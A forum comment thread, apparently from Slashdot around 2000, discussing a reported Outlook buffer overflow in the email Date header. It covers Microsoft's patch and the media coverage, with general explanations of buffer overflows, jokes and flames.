Report Of New Outlook Exploit
viktor_haag writes: "Report on MSNBC today of a new vulnerability that exploits a hole in (at least) Microsoft Outlook. The bad news is -- this time you don't even have to read the email; in fact, the exploit can take place before Outlook even places the email in your Inbox. Looks to involve overloading the message's Date header field.
MS says they're going to
release a security patch on July 19 to fix this hole." The irony is of course that we're so jaded by all these sad macro viruses that when something this serious hits, we shrug it off as 'Just another security hole,' but this one is massive.
This really is "just another outlook security hole."
-------
Oh shit! I forgot to click "Post Anonymously"...
Dear:
[ ] Clueless Newbie [x] Loser [ ] Troll
[x] Signal 11 [ ] Pervert [ ] Geek
[ ] Spammer [ ] Nerd [ ] Elvis
[ ] Fed [x] Freak [ ] FascdotKilledMyPr
[ ] AOLer/Euronetter/PIer/MSNetter
[ ] Other: Unbearably self-righteous person
You Are Being Flamed Because:
[ ] You posted something unfunny that will inevitably be modded up as "+1 Funny"
[x] You posted something unfunny that will inevitably be modded up as "+1 Funny" by you using another one of your accounts
[ ] You started an off-topic thread
[ ] You continued a long, stupid thread
[ ] You posted a bitchy "Slashdot sucks!" message
[ ] You said "me too" to something
[x] You suck
[x] You brag about things that never happened
[x] You spend all day tapping the refresh button
[x] You posted something totally uninteresting
[ ] You posted sexist shit
[x] You wish to avoid the "wrath of the trolls" by flaunting your "edgy" sense of humor
[x] You masturbate to pictures of CmdrTaco's shoes
[ ] You are the leader of a secret Natalie Portman human-sacrifice cult
To Repent, You Must:
[ ] Give up your AOL/Euronet/MSN/Planet Internet account
[ ] Bust up your modem with a hammer and eat it
[x] Jump into a vat of acid while holding your monitor
[x] Actually post something relevant
[ ] Read the f****** FAQ
[x] Be Katz's love slave
[x] Apologize to me
In Closing, I'd Like to Say:
[ ] Blow me
[x] Bite me
[x] Get a life
[x] Never post again
[x] I pity your parakeet
[x] Go to hell
[ ] I think your IQ must be 5, join the Marines
[x] Take your s*** somewhere else
[ ] Learn to post or f*** off
[x] Do us all a favor and start linking to Illiad. He's funnier than you.
[x] See how far your tongue will fit into the electric outlet
[x] Go crying home to your mommy...wait, you still live at home. Nevermind.
I would have to say the scariest thing coming out of the article on MSNBC is the quote "MSNBC.com learned of the flaw June 11, but agreed not to publish the information until Microsoft had a chance to supply a fix."
Which has some interesting implications i think. For companys like Microsoft to be able to cover up important press releases is one thing, and for the security crowd im sure you've all heard the term "security by obscurity". It never works.
This event makes me wonder what things a company like AOL, who owns too much (MONOPOLY), can cover up at will. If AOL had a security flaw I wonder how much press it would get. I have less faith in AOL software in terms of security then Microsofts but when was the last time there has been a public release of them doing anything wrong?
The media sucks is my point.
And I modded you up on the same error. Oh well, easily undone. :)
------
I'm waiting for the first lawsuit (if there hasn't been one already) that takes Microsoft to task for being negligent in developing software with blatant security flaws. It's unlikely anyone can sue over bugs, but a failure to protect against malicious attackers might be actionable -- especially in the litiginous US.
Does Microsoft guarantee (or even imply) that Outlook (or Windows, for that matter) is secure?
Do we, as software developers, want to work in a world where our software is subject to judicial review? I think not...
All about me
At least with cars, they know that the oil needs to be changed every 5000 or so KM, and that when the tread on the tires is bare, those need to be replaced. People are still using IE 3.0! Users generally too lazy to upgrade software, even if there's a known security issue.
Emphasis was mine. This is precisely the problem: I am 100% sure that no one of the other 12 computer users at my office have the faintest idea that there may be security problems related to e-mail clients. We use Lotus Notes (yuck!) here, so I don't mind educating people on this new hole (I've never heard of any LN exploit) and I still think this is a problem to be dealt with by the sysadmins, which I'm not. The point is that most people don't keep insecure versions because they are lazy, they just can't imagine they are at risk. They just trust MS. Now, if I could just figure out why...
If this were almost any other app or company this wouldn't be front page news. How many other apps have buffer overflow exploits? Yes, Outlook has had its problems but look at other apps that have had them. How many problems were there with sendmail? The problems got fixed and it continues to be used today. Until someone comes out with a product to truely compete with OutLook people won't switch. What other LARGE enterprise mail systems are out there that offer the features of Exchange? Security people don't usually pick the mail system, management does. Management just can't pass up the calendaring and scheduling features of Exchange.
Instead of constantly bashing OutLook someone should actually go write a competing client. I'm currently using Mozilla's IMAP client. So far it's the most full featured by far. Sadly, it crashes about 3 times per day and on restart it sometimes won't create new messages. I can't wait for Evolution, but how long will that be?
I'd like to see all the "MS SUCKS!!!" people in here sit down and write an app that does everything OutLook can do. Yes, it has its problems but you can patch it, just like everything else. Until there is another alternative, even a close one, people won't switch.
Putting aside all the joke and the "evil empire" comments and everything that the /. community feels about Microsoft, don't you think that a company of that size (and with their software controlling so many critical sites around the globe> has a responsiblity to go overboard on quality assurance?
That's one of the hallmarks of being a monopoly; if you have no competition, there's not as much reason to improve your product (except maybe to add nifty vendor lock-in features).
The earliest that I know of happened before you probably ever heard of the Internet. Go look up the Morris Worm.
And I am sure that was not the first, I heard of it because it was the last time that an individual accidentally took down the Internet.
Regards,
Ben
My usual seat in the cluetrain is at A HREF="http://pub4.ezboard.com/biwethey.ht
great, but what does it actually due.
forgive me for not being a coding type o' guy....
I myself have been wondering ever since Win2k came out with this "feature" how exactly M$ was going to issue system patches & upgrades. Can't their installer just overwrite the protected files and update whatever registry entries (or whatever) control this feature? Don't know since I haven't played with Win2k as yet....
#include "disclaim.h"
"All the best people in life seem to like LINUX." - Steve Wozniak
#include "disclaim.h"
"All the best people in life seem to like LINUX." - Steve Wozniak
> Anyway, I think that the problem is people actually getting/using the patch.
There is a very simple, and elegant solution. Write a program that exploits the security flaw that patches the affected system, and then replicates itself. To be carefull it should have a self termination date, and maybe even maintain a list of addresses on a central server that it has been sent to, etc.
Of course there are complications to this, first and most importantly that it is probably illegal. Therefore the above thought is provided for humor and iorny purposes, and not an attempt to encourage anyone to break the law.
Oh, and IANAL.
W
I'm really just a novice programmer, and I'm fairly rusty since my high school days learning BASIC (Pascal would have been much nicer). I understand the basic concept of buffer overruns, and I'm well aware of it being a common exploit.
What I'd like to know is this: are programs written in any language vulnerable to an overrun? If not, is buffer checking something that is only/mostly necessary with C and C++, or is it highly dependent on the compiler/interpreter?
I registered my hate for Jon Katz
Why doesn?t IE 5.5 eliminate the vulnerability for Windows 2000 users?
IE 5.5 cannot replace the affected component because of the System File Protection feature in Windows 2000.
Nice "feature", guys.
$ cat < /dev/mouse
IMHO the people using *nix are (in general) more informed and cautious about the 'features' in their software than your average Windows user.
regards.
"If voting could really change things, it would be illegal. " - Revolution Books, NY
Posted never by no-one
from the not-all-that-surprising dept.
Yes, remote root on recent versions of (probably) all Linux-based systems that include NFS. Fortunately, most of them seem to have issued updates already. See the Security Focus Record for a summary (and, yes, an exploit). The irony is of course that we pretend to be concerned with security, but we really care only for ridiculing Microsoft, so when something this serious hits Linux, we don't even report it.
The evaluation of an action as 'practical' . . . depends on what it is that one wishes to practice.
Since apparently nobody here has actually bothered to find out the truth about this bug and since everyone is eager to display his ignoronce through blind Microsoft bashing, let me point out that this only effects Outlook IMO and Outlook CW with the Internet Email service added, and only if you have a version of Internet Explorer before 5.01 SP1. Which means most people (including everyone where I work and run the network) are not affected by this problem. And, everyone can have the problem fixed with a quick trip to the Windows Update site. I have verified this because I have a copy of the exploit and have tested it against several systems here. How many of you Microsoft bashers can truthfully say that?
Score: -1 for spoiling the fun, -1 for not bashing Microsoft, -1 for actually doing research to back up my claims
Well, i bet someone is happy this didn't get out in the wild before then, eh?
Ham on rye, hold the mayo please.
thelocust[dot]org
Well, just thought you should know that eWaddle had this story up first.
Check out eWaddle and Read, Register and post. BTW we don't turn down 98% of Stories.
Not checking inputs before the buffer is copied into is a bad programming flaw, but only recently realized as being potentally hazardous. Thus, take all programmers that were in the workforce in 1990, and they would probably have missed adding the buffer checks, but now with buffer overflows a problem nearly every day, programmers in 2000 are much more conscience about it, but there is still legacy code that probably does this buried in code. Especially when the field itself is not thought of in a textual sense (a date field), these things tend to get overlooked in the general design of the program. However, this should only reinforce the use of a lint-like system after various compiles in order to find potental buffer overflows. Languages like C++ and Java provide some protection here assuming you use the typed Strings, but you can still create a buffer overflow without thinking about it.
"Pinky, you've left the lens cap of your mind on again." - P&TB
"I can see my house from here!" - ST:
I'm very surprised it took so long for this bug to be discovered!
Fire and Meat. Yummy.
Who would have guessed that more security holes would be found in Outlook? BTW, fp.
I used to want to be somebody but then I realized I wasn't somebody material. -- Anonymous Coward
Well, considering that at the moment the easiest fix is to install ANOTHER piece of their software which happens to be a web browser (It's not part of the OS, you can remove it whenever you want, it won't break anything, WE PROMISE!) I think that this bug might just be a vendor lock-in feature.>:)
Kintanon
Check out JoshJitsu.info for Brazilian Ji
> Microsoft ... would benefit
/really/ think that Microsoft are going to open up their code to an auditing organisation?
/really/ think that Microsoft are going to benefit when the auditing organisation takes one look and falls over laughing?
Hehehehe. *ahem*. Sorry.
You
You
I think you're confusing "benefits Microsoft" and "benefits consumers"... sometimes it seems those aren't just not the same thing, but actually mutually exclusive.
This happens all the time. If you find a security bug you usually give the vendor/author a chance to fix it in a timely manner before announcing it to the world.
...that's what the magic eightball told me, and I have sworn by it ever since. In fact Outlook is excrement and shouldn't be used by anyone... as long as people keep using it, all the security holes will be found and viruses/trojan-horses spread... Makes me glad I use Eudora. Heh heh heh. No "I love you" e-mails for me! {sniff}
Will Microsoft prosper in the 21st century?
"Don't count on it."
Just as with any news source, there's going to be bias. It's just that most news sources don't have such obvious and entertaining bias as MSNBC.
Wah!
Our only hope is to make an antivirus email that uses the hole to install the patch and then forwards itself off.
Well, let's see. Today we have:
:)
1) Star Office getting GPLed.
2) Apple releasing many new cool products.
3) Microsoft getting it's ass kicked over a
really serious sercurity hole.
It's a great time to be a Microsoft hater.
"Some stories make references to both problems.
Having Outlook security problems so frequently that they start to blur together is a dangerous thing."
Sadly this says it all.
Malk-a-mite
That will never take off, due to the fact that most (at least most of the more popular) viruses rely on end-user action to work. This is not the case here, however once someone with half a brain sits and explains to these insurance companies that they will be insuring god-only-knows what is on people's systems, in case that person is stupid enough to click on "A special message from %S"...
Fist Prost
"We're talking about a planet of helpdesks."
-Jaron Lanier
Of course, it is true that this is simply a bug, and it could have happened to anyone. But it didn't happen to anyone, it happened to Microsoft, and they deserve some measure of condemnation for it.
MSK
This flaw is not relegated to Outlook only - any email client which uses the IE engine to display HTML content (Eudora is one such mail client) leaves the door open for this exploit. See this article at sans.org for further details.
From http://www.microsof t.com/technet/security/bulletin/fq00-043.asp:
:)
How can I tell if I'm vulnerable to this issue?
If any of the following apply to you, you are not affected by this vulnerability:
- You are running a default installation of Internet Explorer 5.01 Service Pack 1.
- You are running a default installation of Internet Explorer 5.5 on any system except Windows 2000.
- You are using Outlook and it's configured to use only MAPI
If none of the above apply to you, you are affected by the vulnerability.
--
So all you Linux users, beware.
Anyways, it's this kind of warped logic that caused the bug in the first place.
Breace
"Oops...I Did It Again"
by Bill Gates
Yeah yeah yeah yeah yeah yeah
Yeah yeah yeah yeah yeah yeah
I think I did it again
I made you believe you've got security
Oh baby
It might seem like a feature
But it doesn't mean that I'm serious
'Cause to lose all my reason
That is just so typically me
Oh baby, baby
:Chorus:
Oops!...I did it again
I created a bug, got lost in the game
Oh baby, baby
Oops!...You think it's secure
That its sent from above
I'm not that innocent
You see my problem is this
I'm dreaming away
Wishing that bugs, they don't exist
I cry, watching bugtraq
Can't you see I'm a fool in so many ways
But to lose all my customers
That is just so typically me
Baby, oh
:Chorus:
Oops!...I did it again
I created a bug, got lost in the game
Oh baby, baby
Oops!...You think it's secure
That its sent from above
I'm not that innocent
Yeah yeah yeah yeah yeah yeah
Yeah yeah yeah yeah yeah yeah
"All aboard"
"Bill, before you go, there's something I want you to have"
"Oh, it's beautiful, but wait a minute, isn't this...?"
"Yeah, yes it is"
"But I thought the old lady dropped it into the ocean in the end"
"Well Billy, I went down and got it for you"
"Oh, you shouldn't have"
Oops!...I did it again to your trust
Got lost in denial, oh baby
Oops!...You think that I'm sent from above
I'm not that innocent
:Chorus:
Oops!...I did it again
I played with your heart, got lost in the game
Oh baby, baby
Oops!...You think I'm in love
That I'm sent from above
I'm not that innocent
:Chorus:
Oops!...I did it again
I created a bug, got lost in the game
Oh baby, baby
Oops!...You think it's secure
That its sent from above
I'm is not that innocent
if you set the date to the distant past, say, the year of 1985
You know you're getting old when your childhood is referred to as "the distant past."
For more information, click here.
My point is is that this bug has nothing to do with thier security model or thier philosophy, regardless of how much you want to innovate new ways to hate them.
It's a buffer overflow in the Date: field. A bug. Pure and simple. Not the result of a design decision, or a philosophy. There have these bugs in pretty much every major software package written in C/C++. It's only news here because
"I thought by now, we'd be rid of buffer overflow bugs."
s ory1
You'd think wouldn't ya. L-Soft (Listserv) just released a patch for a similar buffer overrun problem here:
http://www.lsoft.com/news/default.asp?item=Advi
When I'm not using Pine, I do use Outlook on NT Systems. Amazingly, I've never had a problem with Outlook. One precaution I take is to configue Outlook so only headers are displayed -- an extra mouse click is needed to display the email body.
As I've been saying for a few years, when *nix owns as many desktops as MS, there will probably be justas many security problems -- maybe more.
Is this sig nificant?
Did anyone else catch that the name of the South American firm in the article was "USSR"? So first Hitler escapes to South America, and now the former USSR is posing as a security firm down there too?
lf.o
Do you have any idea what a buffer overflow actually is?
Basically, you fill a fixed-size array with enough data so that you overwrite other parts of the program, do some magic (which is somewhat explained here), and then get the program to execute some arbitrary code of your own writing. Developing said code (i.e. actually writing the exploit) generally takes time, and is limited to one software/os/platform/version combination.
This has *no* relation to how the code is initially written.
A program which reads one line of code from the user, saves it to a fixed sized buffer, and then prints it out is vulnerable to a buffer overflow.
Why is it that when I have moderator access there is nothing worth modding up? Then there is today, I do not have mod access and here is this hilarious post that is only +1 funny!!!
This one deserves +5!
I know that this is not another macro virus but still reading the article pisses me off because of this quote:
?This vulnerability can affect a user even if the user follows what would normally be safe computing practices.?
It's absolutely horrible how badly microsoft has infected their customers with the idea that it is only stupid users who get attacked by viruses. I just really want to slap someone in fact everytime I hear that, "Hey those people shouldn't have clicked on the attachment." NO!! Email should be text. Just blame your users for your crappy programs why don't you?
This works into so many things.
The I was with a friend of mine setting up a some software on Linux. He was treating the machine so gently, doing things slowly and not starting too many things at once. I had to tell him, "Hey this is Linux you can't hurt it. Go ahead be rough..." With windows users feel so bad that _they_ crashed the system. But it wasn't them it's THE CRAPPY SOFTWARE STUPID.
Or when they are typing a document they blame themselves for not saving enough. This isn't right. That's crap. You shouldn't have to take that from a computer.
The computers job is not that difficult. Linux has shown that people just working for the heck of it can make decent software. There is no reason why microsoft should be able to make some decent software. And there is NO reason to blame the users when the system is crashes.
Microsoft software may be good for playing games and for watching asf. (although it's still ticks me off when the computer crashes half way through a movie.) But for doing _actuall work_ it's a crappy crappy crappy system.
First a disclaimer... I do believe that Microsoft showed very little insight when including scripting capabilities in their Emails. To this day I don't know a single person who uses this capability (except for virus writers). I am not an apologist for Microsoft, just looking to put this vulnerability into perspective. Regarding the buffer overflow... Is Microsoft software really more insecure than other vendor's software? Could it be that publicity and scrutiny just makes it seem that way (I don't see a [CNN, Slashdot, MSNBC] article every time pine,sendmail,imapd,etc. has a buffer overflow vulnerability). How would Netscape and Eudora fair under the same amount of scrutiny? Do other software companies just enojoy "Security through Obscurity"?
Let me think..... I can use Eudora to read my email or download IE 5.5 and risk my machine being screwed up even more.
I'm sticking with Eudora.
That said, I think that the idea is workable if it incorporates a sense of a graded scale that would imply security of the software engineering and testing process used by the company. Like the SEI, if you can document and demonstrate adherance to a certain set of processes, you can lable your product Level 2 or 3 certified. If defects are found in the deliverable product, you must be able to identify where the process broke down and how you plan to fix it to maintain your certification level. If you can't, your level gets revoked. That way, if you buy level 1 software and get burned, caveat emptor. If you buy level 5 software, you can have confidence that it's already been put through it's paces.
Just booted into Windows for my afternoon UT session, and sure enough, that damn 'Windows Update' window pops up. But the update site is, well, I guess slashdotted is the wrong word ;-), but its definitely congested beyond usage. What am I supposed to do? That stupid update window has an incredibly annoying habit of popping up and totally screwing display and input while I'm running the flag back to my base, but I can't install the update 'cuz the site is screwed. I guess I'll just have to boot back into Linux and actually do some work...nah. Maybe its a good time to check if the nvidia drivers and OpenUT are working properly together.
And I don't even use Outloook. Grrrr.
"That all changed in the late 70's when a young programmer actually had the audacity to sell his BASIC interpreter to the other programmers rather than just giving it and the source code for it away."
The audacity?? Let me get this straight, it is bad or wrong to try to make a business out something?? When I give my software away to people will those people, in return, provide a roof over my head or some food on my plate?? Until that starts happening don't ever criticize someone for trying to make money, no, let me rephrase, trying to make a living which is an underlying principle of this country. Capitalism did not invade this country, like a virus, 5 years ago. This country was BUILT on capitalism, ac
Until Jeff Lewis starts putting my kids through college he shouldn't have the audacity to criticize the act of selling software
So Eric Raymond - SO SHOVE IT.
this site is for people smart enough to use linux.
Maybe he wants to learn how to install and use Linux, but he has to spend so much time administering Windows clients that he can't get around to it?
Applaud him for sparing the time to at least get away from Outlook, for which all the exploits seem to be well known.
Time was, and still is, my problem; even after five years of experience with UNIX as a user, learning administering my first Linux box is still quite an uphill battle.
However, you'll be pleased to note that I now type "ls -l" accidentally and frequently at DOS command prompts.
Go easy on the Linux newbie, for together, we will all be Bill Gates' demise.
Fire and Meat. Yummy.
I have not been trolled. I have not lost. Have a nice day.
Just think, once UCITA gets passed in all 50 states, M$ won't even have to worry about it any more. Outlook Express will be _our_ problem.
www.eissq.com/BandP.html Ball and Plate System. Amuse your friends. Crush your enemies.
> I'll stick with ABC. World News Tonight is great, Nightline is excellent, and they're in league with Disney, not with the devil.
Disney is the devil
'nug said.
"Stop whining!" - Arnold, as Mr. Kimble
Unfortunately it wouldn't work. The big software companies are extremely reluctant to letting anyone outside their realm see the source code.
While it certainly would help to find these biggest holes, it is quite possible that the product code itself is so shoddy, so obfuscated to begin with, that even with enough time and knowledge, it is unsure if the audit would do any good. Probably the code has never been rewritten, but only new stuff has been added and old modified, to add some new functionality.
Isn't this how most of us write code, anyway?
There is no such thing as good luck. There is only misfortune and its occasional absence.
Do any of these security exploits happen in Exchange? Every time an Outlook hole is revealed, we Exchange users also get the patches broadcast to us, but I don't remember hearing anything ever said about Exchange -- only Outlook, which will run on my work machine only after they fire me for refusing to have anything to do with it. :o)
"How many light bulbs does it take to change a person?" --BMcC-->
What!?!?
I'd rather find a security breach in a MS product and have them release a patch, then to find a breach in some free software and be told "Fix it yourself - that's the beauty of it."
Companies love the fact that they can hold MS responsible for their products. (Accountable to the market, if not the EULA).
Apparently when the clock rolled over to July 4th 2007, and the machine received any email with misspelled words, the machine will automatically post the password file for the system in plain text on usenet.
Microsoft spokesmen called the problem minor and expected to have a bug fix in place by August 2008.
Microsoft today sent the following email advisory to all of the affected machines. "To whom it may concern: Please do not allow your machine to receive an email with misspelled wurds."
There are various hacks to work around SFP, but the real problem is that Microsoft failed to include a mechanism to allow the administrator to turn off SFP on a file-by-file basis.
This may or may not have been intentional (you wouldn't want an installer turning off SFP), and it might be fixed in the future. I guess it just goes to show that you can't blow your foot off with a squirt gun.
When I hear the word 'innovation', I reach for my pistol.
WWJD -- What Would Jimi Do?
I am quite civilized, and I should be brought a beer immediately. -- Bruce Sterling
This bug is a standard buffer overflow vulnerability, an accident, and not a design bug like automatic or near automatic execution of executable mail content (sheesh), responsible for the previous mail worms and viruses. I do not want to be seen as defending Microsoft's practices, their ideals, or their bad program designs (e.g. aforementioned executable mail content). HOWEVER, a buffer overrun bug like this is not an inherent misfeature of Microsoft's design. It's a bug plain and simple, and furthermore one that has affected and continues to affect many, many Unix programs. This could have happened to "us", in other words. (If there were a buffer overrun problem in fetchmail, for example -- there isn't, but suppose there were.) We can and should rail at Microsoft for designing in weaknesses like that which made the ILOVEYOU fiasco possible. With a buffer overflow problem, I think that the "may he who is without sin cast the first stone" principle must apply. One of their anonymous programmers made a serious mistake. Same mistake has been made, over and over, in virtually every Unix system daemon since the Epoch. They get fixed (with an alacrity usually proportional to the consequences of an exploit) and that's that. And though I passionately believe in Open Source, please note that the fact that the source for most of those daemons has been examined by thousands and thousands of people, they never got fixed all at once. For example, -every- Red Hat Linux distribution in memory has fixed some buffer overruns and introduced others.... kiscica
> that someone with a brain could
> actually fall for?
People "with a brain" wouldn't be using such a horribly insecure mail client in the first place. There's a reason you don't hear about exploits like this affecting users of other mail clients such as Netscape Messenger (for example).
This security hole could potentially become a nightmare, but only to those people who use Microsoft's inferior mail software. Microsoft has set back computer security by years. Take these old pieces of virus protection advice:
Microsoft needs to admit that Outlook is fatally flawed. Since this will never happen, it's up to people like you and me to educate and inform anyone and everyone. Companies that mandate the use of Outlook or Outlook Express (I used to work for such a company) especially need to be educated.
--
www.scorbett.ca
The specifics from Microsoft:
How can I tell if I'm vulnerable to this issue? If any of the following apply to you, you are not affected by this vulnerability:
You are running a default installation of Internet Explorer 5.01 Service Pack 1.
You are running a default installation of Internet Explorer 5.5 on any system except Windows 2000.
You are using Outlook and it's configured to use only MAPI
If none of the above apply to you, you are affected by the vulnerability.
So the very good news is that many or most corporate users (who were highly susceptible to ILOVEYOU and related worms) will NOT be affected by this exploit. However, home, small biz, and corporate users who are using a POP3/IMAP server (or an ISP) for mail are vulnerable, and certainly everyone should upgrade when the fix is made available.
sulli
sulli
RTFJ.
However, setting up such an authority would be incredibly difficult. There are very few people in this world who understand enough Formal Methods and Predicate Calculus to be able to stringently examine and mathematically prove code.
Hence these people would be able to charge a fortune, putting the service out of the budget of all but the biggest companies. Even then, the sheer amount of time, even with computer-assisted methods, to examine the code of your average Microsoft bloatware would add months or even years to release dates. I can't see a company being interested in that.
It's precisely because MS is a monopoly that people just accept the cruddy software. They don't switch because there is no alternative or it would be too costly (== MS has us locked in).
And this does not mean that crackers deserve no blame either nor am I "giving the green light" to the wannabe virus writers, but get a clue, MS is building products by welding old guns and bombs together. You don't exactly place *all* blame on someone who figures out a way to make the whole product blow up. Both sides need to share the blame, publically.
The article says that they learned about the vulnerability on July 1st, but hadn't released information on it, and weren't going to until a patch was available...
to check if your outlook settings are safe (info from this web site):
First, verify that Outlook is configured to use MAPI. To do this, open Outlook, then select "About Microsoft Outlook" from the Help menu. If the second line in the resulting dialogue box says "Corporate or Workgroup", you're using MAPI.
Next, verify that Outlook isn't configured to use POP3 or IMAP4. Go to the Tools menu in Outlook, then select Services. If "Internet E-mail" is not listed among the services, you are running only MAPI, and are not affected by this vulnerability.
we were amused, but out of points. Sorry.
I saw this on MSNBC tv the other day and it just got me thinking about how irresponsible their reporting is on this issue, and how they are so proud of the fact that they are such an honest news organization that they can report fairly on problems caused by their own business partner.
Ok, so of course they are partners with Microsoft, but how can anyone take their "news" seriously if they fail to indicate that there are other ways to fix the problem other than installing countless patches. There was an NBC reporter talking to the MSNBC host about the issue, and the reporter said that his close contacts at Redmond assured him a fix was already on the way! Whew, now I'm safe. The host did make it clear that this only affected MICROSOFT OUTLOOK, and they did state clearly that Microsoft was their partner, but the reporter then went on to say in response to this that Outlook or OE were on 3/4 of the worlds computers, so really, the sw patches were the only way to go.
Couldn't he at least have mentioned the possibility of using a different e-mail program? Of course not! But for home users, this is probably the most efficient solution - why bother keeping up with all these problems and patches if you can just install Eudora and avoid the whole issue! Irresponsible of them not to mention this. Not surprising, of course, but irresponsible.
-------
-------
"It was people! People soiled our green!"
Journalistic integrity at NBC? I don't think so. Dateline NBC is almost as sensationalist as Extra or any of the other video editions of supermarket tabloids.
With the MSNBC partnership, I feel I can trust their reporting of Microsoft news about as well as I can trust the CBC's reporting of the state of the Canadian federal government.
Never leave the fox guarding the henhouse.
I'll stick with ABC. World News Tonight is great, Nightline is excellent, and they're in league with Disney, not with the devil.
Fire and Meat. Yummy.
--
If R is the set of all sets which don't contain themselves, does R contain itself?
Disney is the devil
Hahaha... Well, getting back to NBC for a second, I'm a Will & Grace fan. Sorry.
Fire and Meat. Yummy.
This annoys me:
... even if that means redundant email clients wasting space.
... this bundling/tying/integration crap must stop for exactly this freakin reason! It's like if one part of the system is insecure, it makes ALMOST ALL OTHER MS APPS vulnerable. Anyone with half a brain can see the implications of this sort of methodology to software development. So the question is, who has Microsoft's half brain?
A non-default installation of IE 5.01 SP1 or IE 5.5 also will eliminate this vulnerability, as long as an installation method is chosen that installs upgraded Outlook Express components.
The *REASON* I did a non-default installed of IE 5.5 was so I could EXCLUDE Outlook Express because I use Outlook 2000. So basically MS's Internet software is so "integrated" that you can't have one be patched for security reasons without installing all of them
I could care less if Microsoft is a monopoly
blarg.
Hmm.. I wonder.....
"The only defense against the vulnerability is installing the Microsoft patch, which will be available shortly on the Microsoft.com security Web site.
How about not using Outlook? I also love the "Microsoft profits top Street forecasts" link in the middle, when in fact MSFT stock has plummeted today (5.25 points as of this time).
I had hoped that NBC would retain its journalistic integrity, even when partnering with Satan, but it looks like they're under the control of Billy Boy. Sigh, one less news source to trust.
Someone else said this, but I REALLY love the "you can fix this now by installing IE 5.5!!!". Really makes you wonder, and I'm not a conspiracy freak.......
I wonder if MS has spent the time since June (when the article said they found out about it) fixing the bug, or if they've spent it all figuring out how to exploit it and get people to dl IE5.5
That brings up another question. The article specifically says that people can protect themselves "immdediately" by downloading IE5.5. So did MS know all along about this bug? What could be possibly be in IE5.5 that would fix an Outlook bug? Exactly how long did they know about this? And for the conspiracy people, did MS create this bug to exploit at a future date? How much of this is a geniune "Damn, let's fix this bug!".....
Let's forward all of this to the Justice Dept. I think they really should have the members of /. on their advising panel.
Buses stop at a bus station
Trains stop at a train station
On my desk there's a workstation....
Point me to a URL where Microsoft were 'held accountable' for their software not working properly by a large corporation. The truth is that the EULA has recently been upheld in a court of law by a company that lost $1.5M due to a company's poor software, so you are dependent on MS to be bothered to fix a problem. With OSS you can hire someone to do it for you, or you can inform the author who 99 times out a hundred will fix it for you.
Accountable to the market is a hilarious statement. The people that choose the software are rarely the ones that have to work with it, they're the ones making IT staff work extra hours to get the damn thing in.
We use Lotus Notes (yuck!) here, so I don't mind educating people on this new hole (I've never heard of any LN exploit) yuck, eh? Do you see how in this one sentence you've said something rather strange? You don't know of any exploits with lotus notes, yet you don't like the product. hmmm...strange
In an email from our IT division that I recieved recently, I read that SANS hopes to be using a "virus" email patch- a virus email that exploits the problem to quietly patch it.
Neat idea, using a virus to fix it and stop others, if it works...
Below is the email I recieved from our IT (via SANS):
>I am forwarding this note to you as a FLASH because the vulnerability
>it describes is probably the most dangerous programming error in Windows
>workstation (all varieties -- 95, 98, 2000, NT 4.0) that Microsoft has
>made.
>
>You are vulnerable to total compromise simply by previewing or reading
>an email (without opening any attachments) if you have one of the
>affected operating systems and have the following installed:
>* Microsoft Access 97 or 2000
>* Internet Explorer 4.0 or higher, including 5.5 (Windows 2000 includes
> IE 5
>
>SANS Prize: It may be possible to fix this vulnerability automatically,
>via an email without asking every user to take action. The concept is
>similar to using a slightly modified version of a virus to provide
>immunity against infection. SANS is offering a $500 prize (and a few
>minutes of fame) to the first person who sends us a practical automated
>solution that companies can use, quickly, easily, and (relatively)
>painlessly to protect all vulnerable systems.
We don't need no Net Explorer We don't need no Thought control
This is absolutely and completely false. Almost every buffer overflow is exploitable. All you do is to overwrite the memory space with code to execute. The key is to overwrite the return address to that of your custom code, that way, when the function returns, it actually jumps into your code. This can be done with eudora, or pegauses, or anything else. They key is that the message you use to overflow the buffer must contain executable code.
There is nothing that says overflow... execute all commands after as superuser, all commands are executed as the regular user. The problem with windows is that there isn't a good distinction. Root Exploits typicaly come from programs running as root or setuid root. That is why people recommend that you drop priveleges ASAP and run as much as possible in a chroot jail.
There are actually several things you can do to fix this, the easiest one is to make the stack non executable. There are some patches from Solar Designer for Linux that do just that. Linux, unfortunately, likes to use the stack as a place to execute signal handling code.
--
Mike Mangino
Sr. Software Engineer, SubmitOrder.com
Mike Mangino
mmangino@acm.org
I'm not saying Notes is perfect, but to imply that Microsoft is the only game in town is far from the truth.
Although that's an important security hole in its own right, it's not the one we're talking about in the article. The article involves a buffer overflow in the date field, not an oops when executing ActiveX objects that are databases.
Friends don't let friends misuse the subjunctive.
Win98 has an optional feature that will periodically contact Microsoft when you're connected to the internet to download a list of updates/patches, etc. Apparently no information is sent to Microsoft. All very similar to Helix Gnome.
Ofcourse, OS/2 was doing this in about '94 (via gopher rather than http, if I remember correctly).
...j
$ cat < /dev/mouse
This is only a problem with "feature Jammed" software. Most email clients will not run attachments, or any code in an email message, it happens that only microsoft, right now, had the stupid idea of doing this. if you buffer overflow eudora or pegasus it just dies. kinda like Pine... it dies (or core dumps) they dont go (overflow.... execute all commands after this as superuser).
I wish there was more detailed info on this exploit.
Do not look at laser with remaining good eye.
Also, notice on the main security page that the ordering of the security bulletin numbers don't line up with the published dates. This seems like hard evidence that they don't inform their customers of these security problems quickly in the order received, but rather whenever they finally get around to having some half-answer (which will be days after bugtraq and the like have eaten it up).
11*43+456^2
^=U hey, AC do you know what anal retentive means??
Happiness is like peeing yourself, only you can feel the warmth.
This has nothing to do with by design security flaws. It's a worm that propagates using a buffer overflow: just like the countless UNIX worms.
this one always makes me giggle... Why is it that Outlook Exprs and Outlook share the same name but not a line of code? And then why is it that MSDE came from the SQL7 code but it's not called SQL Anything? :)
Wouldn't it be better to call Outlook xprs "Just a mail client2000" and MSDE "not quite a database engine2000"
Newsflash: Some Companies Don't Use Outlook.
We don't. Why is that? Is it because we have a single app that does everything Outlook can do? No. Did management like it's scheduling? Yeah, they were impressed. But, I wan't hired to point, click, giggle, and approve everything Management wants to run. It's part of my job to build viable systems for my company. So, before we pop for a system, we audit the crap out of it: Outlook/Exchange doesn't even come close to cutting it, "features" or not.
See, we have a different view on the Web. An example: Since our first purchase of bsafe licenses from RSA labs, some 5 year years ago, we've run a secure inter- and intra-net for our clients and employees. Scheduling, Calendars, Mail, Document Sharing/Transfer, Routing, Storage, Directory Services, some B2B and Timesheets, Printing and PDF generation from Word Documents and Faxes.
